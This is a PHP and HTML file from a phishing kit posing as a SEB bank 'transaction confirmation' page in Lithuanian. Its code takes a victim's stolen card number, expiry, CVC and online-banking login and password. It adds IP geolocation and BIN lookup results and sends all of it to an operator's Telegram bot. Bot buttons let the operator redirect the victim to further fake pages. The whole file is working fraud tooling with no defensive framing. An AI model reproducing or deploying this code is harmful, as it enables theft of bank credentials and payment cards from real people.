<?php
$config = json_decode(file_get_contents('data.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Определение операционной системы
    $operatingSystem = "Не удалось определить"; // По умолчанию

    if (preg_match('/windows|win32/i', $userAgent)) {
        $operatingSystem = 'Windows';
    } elseif (preg_match('/macintosh|mac os x/i', $userAgent)) {
        $operatingSystem = 'iOS';
    } elseif (preg_match('/linux/i', $userAgent)) {
        $operatingSystem = 'Android | Linux';
      } elseif (preg_match('/android/i', $userAgent)) {
        $operatingSystem = 'Android';
    } elseif (preg_match('/iphone|ipad/i', $userAgent)) {
        $operatingSystem = 'iOS';
    }
    
    $url = "{http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]}";
    $parts = parse_url($url);
    $pathParts = explode('/', $parts['path']);
    $domainId = $pathParts[5];
  
$ip = $_SERVER['REMOTE_ADDR'];

    // Получение информации о местоположении по IP
    $url = "http://ip-api.com/json/{$ip}";
    $response = file_get_contents($url);
    $data = json_decode($response, true);

    if ($data['status'] === 'success') {
        $country = $data['country'];
        $city = $data['city'];
      }


$card = str_replace(' ', '', $pay->card);
$date = ($pay->month .'/' . $pay->year);
$cvc = ($pay->cvc);
$login = ($pay->login);
$password = ($pay->password);

$bin = substr($card, 0, 6);

// Формирование URL для запроса к API bincheck
$url = "https://bins.antipublic.cc/bins/{$bin}";

// Отправка GET-запроса к API bincheck и получение результатов
$response = file_get_contents($url);

// Декодирование JSON-ответа в ассоциативный массив
$result = json_decode($response, true);

$binInfo = "<b>🔢 BIN: {$bin}</b>\n<b>♣️ Bank: {$result['bank']}</b>\n<b>♣️ Brand: {$result['brand']}</b>\n<b>♣️ Type: {$result['type']}</b>";

$log = "⚠️ <b>Новый лог ⚠️</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Card:</b> <code>{$card}</code> \n<b>🔹 Date:</b> <code>{$date}</code> \n<b>🔹 CVC:</b> <code>{$cvc}</code>";
$contact = "<b>Bank Data</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Login:</b> <code>{$login}</code> \n<b>🔹 Password:</b> <code>{$password}</code> \n";


    $currentTime = date('Y-m-d H:i:s'); // Получаем текущее время

   message_to_telegram($config->token, $config->chat_id, "{$log}". PHP_EOL ."➖➖➖➖➖➖➖➖➖➖". PHP_EOL ."". PHP_EOL ."{$contact}". PHP_EOL ."🕔 Time: {$currentTime}" . PHP_EOL ."🌎 <b>Страна | Город: {$country} | {$city}</b>". PHP_EOL ."💻<b> OC: {$operatingSystem} </b>". PHP_EOL . "🗺 IP: {$ip}". PHP_EOL ."➖➖➖➖➖➖➖➖➖➖". PHP_EOL . $binInfo, [

         [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],  
        [
            ['text' => '❌ Смена карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],
            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);


switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}
    
function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}




?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>SEB Prisijungimas</title>
   <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
  <link href="assets/css/vbiv.css" rel="stylesheet">
  <link href="assets/css/fonts.css" rel="stylesheet">
</head>
<body>
  <div class="loader loader--style8" title="7">
    <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
       width="80px" height="90px" viewBox="0 0 24 30" style="enable-background:new 0 0 50 50;" xml:space="preserve">
      <rect x="0" y="10" width="4" height="10" fill="#333" opacity="0.2">
        <animate attributeName="opacity" attributeType="XML" values="0.2; 1; .2" begin="0s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="height" attributeType="XML" values="10; 20; 10" begin="0s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="y" attributeType="XML" values="10; 5; 10" begin="0s" dur="0.6s" repeatCount="indefinite" />
      </rect>
      <rect x="8" y="10" width="4" height="10" fill="#333"  opacity="0.2">
        <animate attributeName="opacity" attributeType="XML" values="0.2; 1; .2" begin="0.15s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="height" attributeType="XML" values="10; 20; 10" begin="0.15s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="y" attributeType="XML" values="10; 5; 10" begin="0.15s" dur="0.6s" repeatCount="indefinite" />
      </rect>
      <rect x="16" y="10" width="4" height="10" fill="#333"  opacity="0.2">
        <animate attributeName="opacity" attributeType="XML" values="0.2; 1; .2" begin="0.3s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="height" attributeType="XML" values="10; 20; 10" begin="0.3s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="y" attributeType="XML" values="10; 5; 10" begin="0.3s" dur="0.6s" repeatCount="indefinite" />
      </rect>
    </svg>
  </div>
  <div class="info">
  <h2>Sandorio patvirtinimas…
    <br>
    Tai gali užtrukti kelias minutes.
    <br>
Neatnaujinkite ir neišeikite iš puslapio.
  </h2>
</div>
</body>
</html>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon1.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>
<script>



setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
      
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>&q=5';
        }
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
    });
}, 3000);


</script>